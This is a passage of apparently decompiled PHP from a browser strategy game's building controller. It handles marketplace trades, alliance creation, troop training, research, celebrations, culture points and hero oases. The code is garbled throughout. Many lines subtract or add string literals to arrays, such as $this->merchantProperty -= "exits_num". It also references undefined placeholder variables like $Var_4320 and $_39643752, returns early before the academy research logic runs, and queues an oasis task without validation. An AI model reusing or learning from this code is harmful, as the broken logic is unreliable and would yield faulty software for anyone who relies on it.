$this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources[1] + $resources[2] + $resources[3] + $resources[4] ) / $this->merchantProperty['capacity'] );                    $this->merchantProperty['confirm_snd'] = 0 < $vid && $this->merchantProperty['available_res'] && 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] && !$this->merchantProperty['same_village'];                    $this->merchantProperty['showError'] = !$this->merchantProperty['confirm_snd'];                    $distance = WebHelper::getdistance( $this->data['rel_x'], $this->data['rel_y'], $rel_x, $rel_y, $this->setupMetadata['map_size'] / 2 );                    $this->merchantProperty['vRow_time'] = intval( $distance / $this->merchantProperty['speed'] * 3600 );                    if ( !$this->merchantProperty['showError'] && $doSend && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $this->merchantProperty['confirm_snd'] = FALSE;                        $this->merchantProperty -= "exits_num";                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $this->merchantProperty['vRow_time'] );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $vRow['player_id'];                        $newTask->toVillageId = $vid;                        $newTask->procParams = $this->merchantProperty['vRow_merchant_num']."|".( $resources[1]." ".$resources[2]." ".$resources[3]." ".$resources[4] );                        $newTask->tag = $resources;                        $this->queueModel->addTask( $newTask );                    }                }            }            $m->dispose( );        }        else if ( $this->selectedTabIndex == 1 )        {            $m = new BuildModel( );            $showOfferList = TRUE;            if ( isset( $_GET['oid'] ) && 0 < intval( $_GET['oid'] ) )            {                $oRow = $m->getOffer2( intval( $_GET['oid'] ), $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2 );                if ( $oRow != NULL )                {                    $aid = 0;                    if ( $oRow['alliance_only'] && 0 < intval( $this->data['alliance_id'] ) )                    {                        $aid = $m->getPlayerAllianceId( $oRow['player_id'] );                    }                    $res2 = explode( "|", $oRow['offer'] );                    $res1 = explode( "|", $oRow['offer'] );                    list( $res1, $res2 ) = $res1;                    $resArr1 = explode( " ", $res1 );                    $needResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res1_item_id = 0;                    $res1_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res1_item_id = $i + 1;                            $res1_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $resArr1 = explode( " ", $res2 );                    $giveResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res2_item_id = 0;                    $res2_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res2_item_id = $i + 1;                            $res2_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $distance = $oRow['timeInSeconds'] / 3600 * $oRow['merchants_speed'];                    $acceptResult = $this->_canAcceptOffer( $needResources, $giveResources, $oRow['village_id'], $oRow['alliance_only'], $aid, $oRow['max_time'], $distance );                    if ( $acceptResult == 5 && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $showOfferList = FALSE;                        $this->merchantProperty['offerProperty'] = array( "player_id" => $oRow['player_id'], "player_name" => $oRow['player_name'], "res1_item_id" => $res1_item_id, "res1_value" => $res1_value, "res2_item_id" => $res2_item_id, "res2_value" => $res2_value );                        $merchantNum = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $distance / ( $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] ) * 3600 );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $oRow['player_id'];                        $newTask->toVillageId = $oRow['village_id'];                        $newTask->procParams = $merchantNum."|".( $giveResources[1]." ".$giveResources[2]." ".$giveResources[3]." ".$giveResources[4] );                        $newTask->tag = $giveResources;                        $this->queueModel->addTask( $newTask );                        $newTask = new QueueTask( QS_MERCHANT_GO, $oRow['player_id'], $oRow['timeInSeconds'] );                        $newTask->villageId = $oRow['village_id'];                        $newTask->toPlayerId = $this->player->playerId;                        $newTask->toVillageId = $this->data['selected_village_id'];                        $newTask->procParams = $oRow['merchants_num']."|".( $needResources[1]." ".$needResources[2]." ".$needResources[3]." ".$needResources[4] );                        $newTask->tag = array( "1" => 0, "2" => 0, "3" => 0, "4" => 0 );                        $this->queueModel->addTask( $newTask );                        $m->removeMerchantOffer( intval( $_GET['oid'] ), $oRow['player_id'], $oRow['village_id'] );                    }                }            }            $this->merchantProperty['showOfferList'] = $showOfferList;            if ( $showOfferList )            {                $rowsCount = $m->getAllOffersCount( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                $this->pageCount = 0 < $rowsCount ? ceil( $rowsCount / $this->pageSize ) : 1;                $this->pageIndex = isset( $_GET['p'] ) && is_numeric( $_GET['p'] ) && intval( $_GET['p'] ) < $this->pageCount ? intval( $_GET['p'] ) : 0;                $this->merchantProperty['all_offers'] = $m->getAllOffers( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'], $this->pageIndex, $this->pageSize );            }            $m->dispose( );        }        else        {            if ( $this->selectedTabIndex == 2 )            {                $m = new BuildModel( );                $this->merchantProperty['showError'] = FALSE;                $this->merchantProperty['showError2'] = FALSE;                $this->merchantProperty['showError3'] = FALSE;                if ( $this->isPost( ) )                {                     if ( isset( $_POST['m1'] ) && 0 < intval( $_POST['m1'] ) && isset( $_POST['m2'] ) && 0 < intval( $_POST['m2'] ) && isset( $_POST['rid1'] ) && 0 < intval( $_POST['rid1'] ) && isset( $_POST['rid2'] ) && 0 < intval( $_POST['rid2'] ) )                        {                        $resources1 = array( "1" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 1 ? intval( $_POST['m1'] ) : 0, "2" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 2 ? intval( $_POST['m1'] ) : 0, "3" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 3 ? intval( $_POST['m1'] ) : 0, "4" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 4 ? intval( $_POST['m1'] ) : 0 );                        $resources2 = array( "1" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 1 ? intval( $_POST['m2'] ) : 0, "2" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 2 ? intval( $_POST['m2'] ) : 0, "3" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 3 ? intval( $_POST['m2'] ) : 0, "4" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 4 ? intval( $_POST['m2'] ) : 0 );                        if ( intval( $_POST['rid1'] ) == intval( $_POST['rid2'] ) || intval( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) <= 0 || intval( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) <= 0 )                        {                            $this->merchantProperty['showError'] = TRUE;                        }                        else if ( 10 < ceil( ( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) / ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) ) )                        {                            $this->merchantProperty['showError'] = TRUE;                            $this->merchantProperty['showError3'] = TRUE;                        }                        $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources1 );                        if ( $this->merchantProperty['available_res'] && !$this->merchantProperty['showError'] )                        {                            $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) / $this->merchantProperty['capacity'] );                            if ( 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] )                            {                                $this->merchantProperty -= "exits_num";                                $this->data += "offer_merchants_count";                                $offer = $resources1[1]." ".$resources1[2]." ".$resources1[3]." ".$resources1[4]."|".( $resources2[1]." ".$resources2[2]." ".$resources2[3]." ".$resources2[4] );                                $m->addMerchantOffer( $this->player->playerId, $this->data['name'], $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->merchantProperty['vRow_merchant_num'], $offer, isset( $_POST['ally'] ), 0 < intval( $_POST['d2'] ) ? intval( $_POST['d2'] ) : 0, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                                foreach ( $resources1 as $k => $v )                                {                                    $this->resources[$k] -= "current_value";                                }                                $this->queueModel->_updateVillage( FALSE, FALSE );                            }                            else                            {                                $this->merchantProperty['showError'] = TRUE;                            }                        }                        else                        {                            $this->merchantProperty['showError'] = TRUE;                        }                    }                    else                    {                        $this->merchantProperty['showError'] = TRUE;                        $this->merchantProperty['showError2'] = TRUE;                    }                }                else if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                {                    $row = $m->getOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    if ( $row != NULL )                    {                        $this->merchantProperty += "exits_num";                        $this->data -= "offer_merchants_count";                        $resources2 = explode( "|", $row['offer'] );                        $resources1 = explode( "|", $row['offer'] );                        list( $resources1, $resources2 ) = $resources1;                        $resourcesArray1 = explode( " ", $resources1 );                        $res = array( );                        $i = 0;                        $_c = sizeof( $resourcesArray1 );                        while ( $i < $_c )                        {                            $res[$i + 1] = $resourcesArray1[$i];                            ++$i;                        }                        foreach ( $res as $k => $v )                        {                            $this->resources[$k] += "current_value";                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m->removeMerchantOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    }                }                $this->merchantProperty['offers'] = $m->getOffers( $this->data['selected_village_id'] );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 && $this->isPost( ) && isset( $_POST['m2'] ) && is_array( $_POST['m2'] ) && sizeof( $_POST['m2'] ) == 4 && $this->gameMetadata['plusTable'][6]['cost'] <= $this->data['gold_num'] )                {                    $resources = array( "1" => intval( $_POST['m2'][0] ), "2" => intval( $_POST['m2'][1] ), "3" => intval( $_POST['m2'][2] ), "4" => intval( $_POST['m2'][3] ) );                    $oldSum = $this->resources[1]['current_value'] + $this->resources[2]['current_value'] + $this->resources[3]['current_value'] + $this->resources[4]['current_value'];                    $newSum = $resources[1] + $resources[2] + $resources[3] + $resources[4];                    if ( $newSum <= $oldSum )                    {                        foreach ( $resources as $k => $v )                        {                            $this->resources[$k]['current_value'] = $v;                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m = new BuildModel( );                        $m->decreaseGoldNum( $this->player->playerId, $this->gameMetadata['plusTable'][6]['cost'] );                        $m->dispose( );                    }                }            }        }    }
    public function handleEmbassy( )    {        if ( 0 < intval( $this->data['alliance_id'] ) )        {        }        else        {            $this->embassyProperty = array( "level" => $this->buildings[$this->buildingIndex]['level'], "invites" => NULL, "error" => 0, "ally1" => "", "ally2" => "" );            $maxPlayers = $this->gameMetadata['items'][18]['levels'][$this->embassyProperty['level'] - 1]['value'];            $this->embassyProperty['ally1'] = $ally1 = trim( $_POST['ally1'] );            $this->embassyProperty['ally2'] = $ally2 = trim( $_POST['ally2'] );            if ( $ally1 == "" || $ally2 == "" )            {                $this->embassyProperty['error'] = $ally1 == "" && $ally2 == "" ? 3 : $ally1 == "" ? 1 : 2;            }            else            {                $m = new BuildModel( );                if ( !$m->allianceExists( $this->embassyProperty['ally1'] ) )                {                    $this->data['alliance_name'] = $this->embassyProperty['ally1'];                    $this->data['alliance_id'] = $m->createAlliance( $this->player->playerId, $this->embassyProperty['ally1'], $this->embassyProperty['ally2'], $maxPlayers );                    $m->dispose( );                }                else                {                    $this->embassyProperty['error'] = 4;                    $m->dispose( );                }            }            $invites_alliance_ids = trim( $this->data['invites_alliance_ids'] );            $this->embassyProperty['invites'] = array( );            if ( $invites_alliance_ids != "" )            {                $_arr = explode( "\n", $invites_alliance_ids );                foreach ( $_arr as $_s )                {                    $allianceName = explode( " ", $_s, 2 );                    $allianceId = explode( " ", $_s, 2 );                    list ( $allianceId, $allianceName ) = $allianceId;                    $this->embassyProperty['invites'][$allianceId] = $allianceName;                }            }            if ( !$this->isPost( ) )            {                if ( isset( $_GET['a'] ) && 0 < intval( $_GET['a'] ) )                {                    $allianceId = intval( $_GET['a'] );                    if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                    {                        $m = new BuildModel( );                        $acceptResult = $m->acceptAllianceJoining( $this->player->playerId, $allianceId );                        if ( $acceptResult == 2 )                        {                            $this->data['alliance_name'] = $this->embassyProperty['invites'][$allianceId];                            $this->data['alliance_id'] = $allianceId;                            unset( $Var_4320['invites'][$allianceId] );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                        }                        else if ( $acceptResult == 1 )                        {                            $this->embassyProperty['error'] = 15;                        }                        $m->dispose( );                    }                }                else                {                    if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                    {                        $allianceId = intval( $_GET['d'] );                        if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                        {                            unset( $Var_5112['invites'][$allianceId] );                            $m = new BuildModel( );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                            $m->dispose( );                        }                    }                }            }        }    }
    public function handleWarrior( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            if ( $researches_done == 1 && 0 < $this->gameMetadata['troops'][$troopId]['gold_needed'] )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        $this->warriorMessage = "";        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $cropConsume = 0;            $totalGoldsNeeded = 0;            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) )                {                    continue;                }                $totalGoldsNeeded += $this->gameMetadata['troops'][$troopId]['gold_needed'] * $num;                $cropConsume += $this->gameMetadata['troops'][$troopId]['crop_consumption'] * $num;            }            if ( $totalGoldsNeeded <= 0 )            {            }            else            {                $canProcess = $totalGoldsNeeded <= $this->data['gold_num'];                $this->warriorMessage = $canProcess ? 1 : 2;                if ( $canProcess )                {                    $troopsString = "";                    foreach ( $this->troops as $tid => $num )                    {                        if ( $tid == 99 )                        {                            continue;                        }                       $neededNum = isset( $this->troopsUpgrade[$tid], $_POST['tf'][$tid] ) ? $_POST['tf'][$tid] : 0;                        if ( $troopsString != "" )                        {                            $troopsString .= ",";                        }                        $troopsString .= $tid." ".$neededNum;                    }                    $m = new BuildModel( );                    $m->decreaseGoldNum( $this->player->playerId, $totalGoldsNeeded );                    $m->dispose( );                    $this->data -= "gold_num";                    $procParams = $troopsString."|0||||||1";                    $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];                    $bLevel = $this->buildings[$this->buildingIndex]['level'];                    $needed_time = $buildingMetadata['levels'][$bLevel - 1]['value'] * 3600;                    $newTask = new QueueTask( QS_WAR_REINFORCE, 0, $needed_time );                    $newTask->villageId = 0;                    $newTask->toPlayerId = $this->player->playerId;                    $newTask->toVillageId = $this->data['selected_village_id'];                    $newTask->procParams = $procParams;                    $newTask->tag = array( "troops" => NULL, "hasHero" => FALSE, "resources" => NULL, "troopsCropConsume" => $cropConsume );                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleTroopBuilding( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgradeType = QS_TROOP_TRAINING;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                {                    continue;                }                $timeFactor = 1;                if ( $this->gameMetadata['troops'][$troopId]['is_cavalry'] == TRUE )                {                    $flvl = $this->_getMaxBuildingLevel( 41 );                    if ( 0 < $flvl )                    {                        $timeFactor -= $this->gameMetadata['items'][41]['levels'][$flvl - 1]['value'] / 100;                    }                }                $troopMetadata = $this->gameMetadata['troops'][$troopId];                $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) * $timeFactor );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->threads = $num;                $newTask->villageId = $this->data['selected_village_id'];                $newTask->buildingId = $this->buildProperties['building']['item_id'];                $newTask->procParams = $troopId;                $newTask->tag = array( "1" => $troopMetadata['training_resources'][1] * $this->buildingTribeFactor * $num, "2" => $troopMetadata['training_resources'][2] * $this->buildingTribeFactor * $num, "3" => $troopMetadata['training_resources'][3] * $this->buildingTribeFactor * $num, "4" => $troopMetadata['training_resources'][4] * $this->buildingTribeFactor * $num );                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleAcademy( )    {        $this->troopsUpgradeType = QS_TROOP_RESEARCH;        $this->troopsUpgrade = array( "available" => array( ), "soon" => array( ) );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 0 )            {                $this->troopsUpgrade[$this->_canDoResearches( $troopId ) ? "available" : "soon"][] = $troopId;            }        }        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && $this->_canDoResearches( intval( $_GET['a'] ) ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $buildingMetadata = $this->gameMetadata['troops'][$troopId];            return;            $calcConsume = intval( $buildingMetadata['research_time_consume'] / $this->gameSpeed );            $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->procParams = $troopId;            $newTask->tag = $buildingMetadata['research_resources'];            $this->queueModel->addTask( $newTask );        }    }
    public function handleTownHall( )    {        $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];        $bLevel = $this->buildings[$this->buildingIndex]['level'];        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[QS_TOWNHALL_CELEBRATION] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            if ( intval( $_GET['a'] ) < 1 || 2 < intval( $_GET['a'] ) || intval( $_GET['a'] ) == 1 && $bLevel < $buildingMetadata['celebrations']['small']['level'] || intval( $_GET['a'] ) == 2 && $bLevel < $buildingMetadata['celebrations']['large']['level'] )            {            }            else            {                $key = intval( $_GET['a'] ) == 2 ? "large" : "small";                if ( !$this->isResourcesAvailable( $buildingMetadata['celebrations'][$key]['resources'] ) )                {                }                else                {                    $calcConsume = intval( $buildingMetadata['celebrations'][$key]['time_consume'] / $this->gameSpeed * ( 10 / ( $bLevel + 9 ) ) );                    $newTask = new QueueTask( QS_TOWNHALL_CELEBRATION, $this->player->playerId, $calcConsume );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->procParams = intval( $_GET['a'] );                    $newTask->tag = $buildingMetadata['celebrations'][$key]['resources'];                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleResidencePalace( )    {        $this->selectedTabIndex = is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $_bid_ = $this->buildings[$this->buildingIndex]['item_id'];        if ( $this->selectedTabIndex == 0 )        {            if ( isset( $_GET['mc'] ) && !$this->data['is_capital'] && !$this->data['is_special_village'] && $_bid_ == 26 )            {                $this->data['is_capital'] = TRUE;                $m = new BuildModel( );                $m->makeVillageAsCapital( $this->player->playerId, $this->data['selected_village_id'] );                $m->dispose( );            }            $this->childVillagesCount = 0;            if ( trim( $this->data['child_villages_id'] ) != "" )            {                $this->childVillagesCount = sizeof( explode( ",", $this->data['child_villages_id'] ) );            }            $itemId = $this->buildings[$this->buildingIndex]['item_id'];            $buildingLevel = $this->buildings[$this->buildingIndex]['level'];            $this->troopsUpgradeType = QS_TROOP_TRAINING;            $this->_getOnlyMyTroops( );            $this->troopsUpgrade = array( );            $_arr = explode( ",", $this->data['troops_training'] );            foreach ( $_arr as $troopStr )            {                $attack_level = explode( " ", $troopStr );                $defense_level = explode( " ", $troopStr );                $researches_done = explode( " ", $troopStr );                $troopId = explode( " ", $troopStr );                list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;                  if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )                {                    $this->troopsUpgrade[] = array( "troopId" => $troopId, "maxNumber" => $this->_getMaxTrainNumber( $troopId, $itemId ), "currentNumber" => $this->_getCurrentNumberFor( $troopId, $itemId ) );                }            }            $this->showBuildingForm = FALSE;            if ( $buildingLevel < 10 || 2 <= $this->childVillagesCount && $_bid_ == 25 || 3 <= $this->childVillagesCount && $_bid_ == 26 || $this->childVillagesCount == 1 && $buildingLevel < 20 && $_bid_ == 25 || $this->childVillagesCount == 1 && $buildingLevel < 15 && $_bid_ == 26 || $this->childVillagesCount == 2 && $buildingLevel < 20 && $_bid_ == 26 )            {                $this->troopsUpgrade = array( );            }            else            {                if ( 1 < sizeof( $this->troopsUpgrade ) )                {                    if ( 1 <= $this->troopsUpgrade[0]['currentNumber'] || 3 <= $this->troopsUpgrade[1]['currentNumber'] )                    {                        $this->troopsUpgrade = array( );                    }                    else                    {                        if ( 0 < $this->troopsUpgrade[1]['currentNumber'] )                        {                            unset( $Var_4224[0] );                        }                    }                }                else if ( 3 <= $this->troopsUpgrade[0]['currentNumber'] )                {                    $this->troopsUpgrade = array( );                }                $this->showBuildingForm = 0 < sizeof( $this->troopsUpgrade );            }            if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )            {                foreach ( $_POST['tf'] as $troopId => $num )                {                    $num = intval( $num );                    $existsTroop = FALSE;                    foreach ( $this->troopsUpgrade as $troop )                    {                        if ( $troop['troopId'] == $troopId )                        {                            $existsTroop = TRUE;                            break;                            break;                        }                    }                    if ( $num <= 0 || !$existsTroop || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                    {                        continue;                    }                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                    $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                    $newTask->threads = $num;                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $this->buildProperties['building']['item_id'];                    $newTask->procParams = $troopId;                    $newTask->tag = $troopMetadata['training_resources'];                    $this->queueModel->addTask( $newTask );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->neededCpValue = $this->totalCpRate = $this->totalCpValue = 0;                $m = new BuildModel( );                $result = $m->getVillagesCp( $this->data['villages_id'] );                while ( $result->next( ) )                {                    //fix2  part f culture points calculations                     $cpRate = explode( " ", $result->row['cp'] );                    $this->cpValue = explode( " ", $result->row['cp'] );                    list ( $this->cpValue, $cpRate ) = $this->cpValue;                    $_39643752 += "cpValue";                    $_39643848 += "totalCpRate";                    $_39643880 += "totalCpValue";                    $_39643880 += "neededCpValue";                    }                $this->totalCpValue = floor( $this->totalCpValue );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 )                {                    $this->childVillages = array( );                    $m = new BuildModel( );                    $result = $m->getChildVillagesFor( trim( $this->data['child_villages_id'] ) );                    while ( $result != NULL && $result->next( ) )                    {                        $this->childVillages[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "village_name" => $result->row['village_name'], "people_count" => $result->row['people_count'], "creation_date" => $result->row['creation_date'] );                    }                    $m->dispose( );                }            }        }    }
    public function handleHerosMansion( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && intval( $_GET['t'] ) == 1 ? intval( $_GET['t'] ) : 0;        if ( $this->selectedTabIndex == 0 )        {            $this->hasHero = 0 < intval( $this->data['hero_troop_id'] );            $this->troopsUpgradeType = QS_TROOP_TRAINING_HERO;            if ( !$this->hasHero )            {                $this->_getOnlyMyTroops( TRUE );                if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troops[intval( $_GET['a'] )] ) && 0 < $this->troops[intval( $_GET['a'] )] && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $troopId = intval( $_GET['a'] );                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $nResources = array( "1" => $troopMetadata['training_resources'][1] * 2, "2" => $troopMetadata['training_resources'][2] * 2, "3" => $troopMetadata['training_resources'][3] * 2, "4" => $troopMetadata['training_resources'][4] * 2 );                    if ( !$this->isResourcesAvailable( $nResources ) )                    {                    }                    else                    {                        $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) ) * 12;                        $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                        $newTask->procParams = $troopId." ".$this->data['selected_village_id'];                        $newTask->tag = $nResources;                        $this->queueModel->addTask( $newTask );                    }                }            }            else            {                if ( $this->isPost( ) && isset( $_POST['hname'] ) && trim( $_POST['hname'] ) != "" )                {                    $this->data['hero_name'] = trim( $_POST['hname'] );                    $m = new BuildModel( );                    $m->changeHeroName( $this->player->playerId, $this->data['hero_name'] );                    $m->dispose( );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->villageOases = array( );                $m = new BuildModel( );                $result = $m->getVillageOases( trim( $this->data['village_oases_id'] ) );                while ( $result != NULL && $result->next( ) )                {                    $this->villageOases[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "image_num" => $result->row['image_num'], "allegiance_percent" => $result->row['allegiance_percent'] );                }                $m->dispose( );                if ( !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $oasisId = intval( $_GET['a'] );                    $newTask = new QueueTask( QS_LEAVEOASIS, $this->player->playerId, floor( 21600 / $this->gameSpeed ) );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $oasisId;                    $newTask->procParams = $this->villageOases[$oasisId]['rel_x']." ".$this->villageOases[$oasisId]['rel_y'];                    $this->queueModel->addTask( $newTask );                }                else                {                    if ( isset( $_GET['qid'] ) && 0 < intval( $_GET['qid'] ) )                    {                        $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );                    }                }            }        }    }
    public function preRender( )    {        parent::prerender( );         /* if ( isset( $_GET['p'] ) )        {            $_41448384 .= "villagesLinkPostfix";        }        if ( isset( $_GET['vid2'] ) )        {             $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;            $_41448784 .= "villagesLinkPostfix";        }         if ( 0 < $this->selectedTabIndex )        {            $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;              // $ && _41448984 .= "villagesLinkPostfix";        }     */    }
    public function __getCoordInRange( $map_size, $x )    {        if ( $map_size <= $x )        {            $x -= $map_size;        }        else if ( $x < 0 )        {            $x = $map_size + $x;        }        return $x;    }
    public function __getVillageId( $map_size, $x, $y )    {        return $x * $map_size + ( $y + 1 );    }
